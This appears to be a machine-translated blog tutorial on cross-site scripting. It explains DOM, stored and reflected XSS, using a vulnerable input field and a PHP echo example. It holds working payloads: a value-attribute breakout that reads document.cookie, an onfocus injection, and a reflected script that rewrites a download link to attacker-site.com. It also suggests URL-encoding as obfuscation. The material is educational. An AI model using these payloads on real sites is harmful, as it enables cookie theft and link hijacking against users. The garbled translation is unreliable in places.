The so-called XSS scenario is triggered by the XSS place, in most cases the attacker is embedded in the Web page (the problem) of the malicious script (cross site Scripting), where the attack always triggers the browser-side, the attacker's purpose. Generally is to obtain the user's cookie (can restore the account login status), navigate to the malicious URL, carry a Trojan horse, as a broiler launch cc attack. Propagation of XSS worms.
The whole is divided into three categories:
Dom-based (DOM style)
stroed-based (Memory type)
Reflex-based (Reflective type)
simply give a scene:
There is a TextBox code on a page that is <input type= "text" name= "Address1" value= "Value1from" >
The valuefrom here is the input from the user. Suppose the user enters a string that is not valuefrom, but that the other code may be running with the data entered by the user, such as input: "/><script>alert (Document.cookie);</script> <!--so the input character bed is spliced:
<input type= "text" name= "Address1" value= ""/><script>alert (document.cookie);</script><!--" >
This is to display a prompt box with a real user cookie, assuming the input is changed again:
"Onfocus=" alert (document.cookie); Then it becomes:
This way, after the onfocus event is triggered, the JS code will be run, of course the attacker will not be silly to pop out the cue box. This is just proof that you can get the data. The general practice of HK is to send the desired data to another station of its own. Their practice is usually:
Embed a piece of masked code on the target page (usually in a relatively hidden position, or directly at the end):
1. Click Hijack (Hjick click)-A non-persistent attack method (reflective XSS):
The original server page is
<?php$name = $_get[' name ']; /* Get username */echo "Welcome $name <br>" in get arguments;/* print variable */echo "<a href=" in Web page http://blog.csdn.net/l_ F0rm4t3d "> Click to download</a>"; /* Display a redirected link */?>
Suppose the user enters the URL:
Index.php?id=byteway<script>alert (' attacked ');</script>
In this way, the HTML code is generated in the user link:
Welcome Byteway <script>alert (' attacked '); </script><br><a href= ' Http://blog.csdn.net/l_ F0rm4t3d ' > Click to Download</a>
See the code above the Big brother you are stunned: here will pop up the attacked box, but you will find this is not a click hijacking ah? Oh, do not worry, just to you clear this truth, I believe you are wretched thought directly in there add section JS directly change the hyperlink on the OK, the following is the detailed method:
Assume that the user is in the URL input: index.php?id=byteway<script>window.onload=function () {var link=document.getelementsbytagname (' A '); link[0].href= ' http://attacker-site.com ';} </script>
The interface that is returned to the user is this:
Welcome byteway<script>window.onload=function () {var link=document.getelementsbytagname (' a '); Link[0].href= ' Http://attacker-site.com ';} </script><br><a href= ' Http://blog.csdn.net/l_f0rM4t3d ' > Click to Download</a>
However, it is very fast to run the Window.load method. This takes place after the hijacking of the URL:
Welcome byteway<script>window.onload=function () {var link=document.getelementsbytagname (' a '); Link[0].href= ' Http://attacker-site.com ';} </script><br><a href= ' http://attacker-site.com ' > Click to download</a> <!--Note This is the URL after being hijacked -
Of course, the URL here is too obvious, how to do? As long as the addition of UrlEncode () and other functions will play a role in the blurred audio-visual.
Copyright notice: This article blog original articles, blogs, without consent, may not be reproduced.
XSS Learning Notes (one)-click Hijack